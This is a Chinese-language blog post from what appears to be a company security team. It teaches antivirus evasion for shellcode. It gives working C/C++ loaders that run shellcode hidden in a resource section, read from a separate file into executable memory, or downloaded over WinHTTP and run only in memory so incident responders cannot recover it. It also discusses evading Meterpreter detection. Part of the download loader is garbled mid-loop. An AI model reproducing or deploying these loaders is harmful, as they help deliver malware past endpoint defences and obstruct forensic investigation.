陌陌分享 | shellcode 分离免杀与不落地加载

沃·兹基硕德小贴士

分享时间到!

作者述:见解有限,文章内容如有不当之处,请多多指正。

常见免杀方法有白名单、shellcode混淆加密、shellcode分离、使用冷门语言编译等。针对不同的防御情况有针对的措施。

对于不太深入免杀的同学来说,希望的还是能学习一些通用点的方法。

使用资源隐藏 shellcode

如果要隐藏 shellcode 的话可以放在资源文件中,遂有了以下尝试。

引入-文件类型选择所有文件,选定 shellcode 后引入

资源类型可以自定义,此处我填了 A,资源会加载到 VC 中,这里 ctrl+s 保存,会在程序目录下生成一个 *.rc 的文件,文件结构大致如下,A 就是这个资源, IDR_A1 是资源对应的宏,记下后面代码中会用到。

将资源文件加入工程

选择刚刚生成的 .rc 文件插入到工程中,这样就可以在代码中找到这些资源了。

一切配置好后就可以编译代码了,下面 IDR_A1 和 A 与自定义的类型相对应。

由于此时的 shellcode 已经在内存中了,所以可以直接调用。

#include 
#include 
#include "resource.h"

//close window
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
typedef void(*void_func_ptr)(void);

int main(int argc, char* argv[]) {
    HMODULE hInstance = ::GetModuleHandle(NULL);
    HRSRC hResID = ::FindResource(hInstance, MAKEINTRESOURCE(IDR_A1), "A");
    HGLOBAL hRes = ::LoadResource(hInstance, hResID);
    LPVOID pRes = ::LockResource(hRes);
    void_func_ptr callLoc = (void_func_ptr)(pRes);
    callLoc();
    return 0;
}

世界杀毒网扫描,14%的杀软检测出( https://r.virscan.org/language/zh-cn/report/c387ba0ad9652b90099633b48583cb20 ),本地使用火绒可以看到是检测到了 meterpreter 的特征,而此时使用的 shellcode 未进行任何编码和混淆,经过几次加密、混淆后即可绕过更多杀软。此处仅提供一种思路,而不是尝试绕过所有杀软。

shellcode加载器

在看完亮神的总结后,发现 shellcode 分离免杀是一种较为通用且免杀效果较好的免杀方法。

github 上 shellcode_lanuch 的版本较多,本文以 C++ 版本为例:

https://github.com/clinicallyinane/shellcode_launcher

该加载器功能较多,可自行学习使用,单就加载 shellcode,只需要 -i 参数即可,把相关函数找到: createShellcodeBufferfillPreambleBufferdoSetupShellcodeJump 。对应功能为从文件读取 shellcode 并为其创建内存中的缓冲区、计算 shellcode 地址。最后的 void_func_ptr callLoc = (void_func_ptr)(buffer)callLoc() 才是调用内存中的 shellcode。

将其他函数和变量删掉,精简本地文件加载 shellcode 代码如下:

#include 
#include 
#include 
#include 

#define EXTRA_SPACE     0x10000

typedef void(*void_func_ptr)(void);


unsigned char jmp32bitOffset[] = {
    0xe9                                // jmp 
};



struct ConfigurationData {
    DWORD           startOff;
    DWORD            baseAddress;
    char*           shellcodeFilename;
    DWORD           shellcodeSize;
};


//return -1 on error, else #of bytes written
int doSetupShellcodeJump(unsigned char* buffer, DWORD dataOffset, DWORD shellcodeOffset, DWORD startOff) {
    int amtWritten = (sizeof(jmp32bitOffset) + sizeof(DWORD));
    DWORD jumpOffset = (EXTRA_SPACE+startOff)-dataOffset;
    //subtract the size of the jump instruction
    jumpOffset -= amtWritten;

    memcpy(buffer + dataOffset, jmp32bitOffset, sizeof(jmp32bitOffset));
    DWORD* jumpTarget = (DWORD*)(buffer+dataOffset+sizeof(jmp32bitOffset));

    //store the jump offset
    //printf("Writing 0x%08x:0x%08x\n", jumpTarget, jumpOffset);
    *jumpTarget = jumpOffset;

    return amtWritten;
}

//allocates the fills the buffer with dat
//returns -1 on failure, else 0 on success
//allocated outBuffer
int createShellcodeBuffer(struct ConfigurationData* config, unsigned char** outBuffer) {
    if(!outBuffer) {
        printf("ERROR: no output buffer specified\n");
        return -1;
    }
    HANDLE inFile = CreateFile(config->shellcodeFilename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (inFile == INVALID_HANDLE_VALUE) {
        printf("Couldn't open shellcode-containing file %s: %08x\n", config->shellcodeFilename, GetLastError());
        return -1;
    }
    config->shellcodeSize = GetFileSize(inFile, NULL);
    if(config->shellcodeSize == INVALID_FILE_SIZE) {
        printf("Couldn't get file size\n");
        return -1;
    }
    printf("%i,%i,%i",config->shellcodeSize,config->startOff,EXTRA_SPACE);
    if(config->startOff > config->shellcodeSize) {
        printf("Execution offset larger than file size!\n");
        return -1;
    }
    if(config->baseAddress) {
        config->baseAddress -= EXTRA_SPACE;
    }

    //extra space for extra pieces
    unsigned char* buffer = (unsigned char*)VirtualAlloc((PVOID) config->baseAddress, config->shellcodeSize + EXTRA_SPACE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if(buffer == NULL) {
        printf("Couldn't allocate %d bytes\n", config->shellcodeSize);
        return -1;
    }
    DWORD bytesRead = 0;
    if(!ReadFile(inFile, (buffer+EXTRA_SPACE), config->shellcodeSize, &bytesRead, NULL)) {
        printf("Couldn't read file bytes\n");
        return -1;
    }
    //keep an open handle to shellcode file in case the shellcode looks for the open handle
    //CloseHandle(inFile);

    if(bytesRead != config->shellcodeSize) {
        printf("Only read %d of %d bytes!\n", bytesRead, config->shellcodeSize);
        return -1;
    }
    *outBuffer = buffer;

    return 0;
}



//returns -1 on failure, else 0 on success
int fillPreambleBuffer(struct ConfigurationData* config, unsigned char* buffer, DWORD shellcodeOffset) {
    //okay, start filling in the preamble bytes
    DWORD dataOffset = 0;
    if(!config || !buffer) {
        printf("ERROR: bad args to fillPreambleBuffer\n");
    }
    //setup jump to shellcode location
    return doSetupShellcodeJump(buffer, dataOffset, shellcodeOffset, config->startOff);
}


int main(int argc, char* argv[]) {
    printf("Starting up\n");
    struct ConfigurationData config;
    memset(&config, 0, sizeof(struct ConfigurationData));
    config.shellcodeFilename = "payload86";
    unsigned char* buffer = NULL;
    if(createShellcodeBuffer(&config, &buffer) < 0) {
        printf("Creating shellcode buffer failed. Exiting\n");
        return 1;
    }

    if(fillPreambleBuffer(&config, buffer, EXTRA_SPACE) < 0) {
        printf("Filling preamble buffer failed. Exiting\n");
        return 1;
    }


    //now call the buffer - does not return
    void_func_ptr callLoc = (void_func_ptr)(buffer);
    printf("Calling file now. Loaded binary at: 0x%08x\n", (unsigned int)(buffer+EXTRA_SPACE));
    callLoc();


    return 0;
}

shellcode 不落地加载

对于 shellcode 来说是较为敏感的二进制内容,可能包含反弹的主机或执行的命令等信息,若被红方获取到,容易被分析出行为或 C2 的地址,从而被溯源到。为了避免这种情况,就出现了 shellcode 不落地加载的方法,shellcode 在内存中加载、常驻内存,进程结束时于内存中释放,避免被应急人员发现执行的核心二进制代码。

下列代码使用 winhttp 发起 http 请求获取 shellcode,在执行过程中加载执行 shellcode,引自 https://xz.aliyun.com/t/7170

#include 
#include 
#include 
#include 
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
int main()
{
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
    }

    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    }
    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
    SIZE_T len = lstrlenW(header);
    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
    if (hRequest)
    {
        std::string data = "name=host&sign=xx11sad";
        const void *ss = (const char *)data.c_str();
        bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast(ss), data.length(), data.length(), 0);
        ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
    }
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
            {
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());

                break;
            }

            if (!dwSize)
                break;

            pszOutBuffer = new char[dwSize + 1];

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                break;
            }

            ZeroMemory(pszOutBuffer, dwSize + 1);

            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
            {
                printf("Error %u in WinHttpReadData.\n", GetLastError());
            }
            else
            {
                printf("ok");
            }
            //char ShellCode[1024];
            int code_length = strlen(pszOutBuffer);
            char* ShellCode = (char*)calloc(code_length  /2 , sizeof(unsigned char));

            for (size_t count = 0; count  0);
    }
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    system("pause");
    return 0;
}

Reference:

1. https://github.com/Micropoor/Micro8/blob/master/payload%E5%88%86%E7%A6%BB%E5%85%8D%E6%9D%80%E6%80%9D%E8%B7%AF%EF%BC%88%E7%AC%AC%E5%9B%9B%E5%8D%81%E4%B8%83%E8%AF%BE%EF%BC%89.pdf

2. https://xz.aliyun.com/t/7170

陌陌安全

陌陌安全致力于以务实的工作保障陌陌旗下所有产品及亿万用户的信息安全,以开放的心态拥抱信息安全机构、团队与个人之间的共赢协作,以自由的氛围和丰富的资源支撑优秀同学的个人发展与职业成长。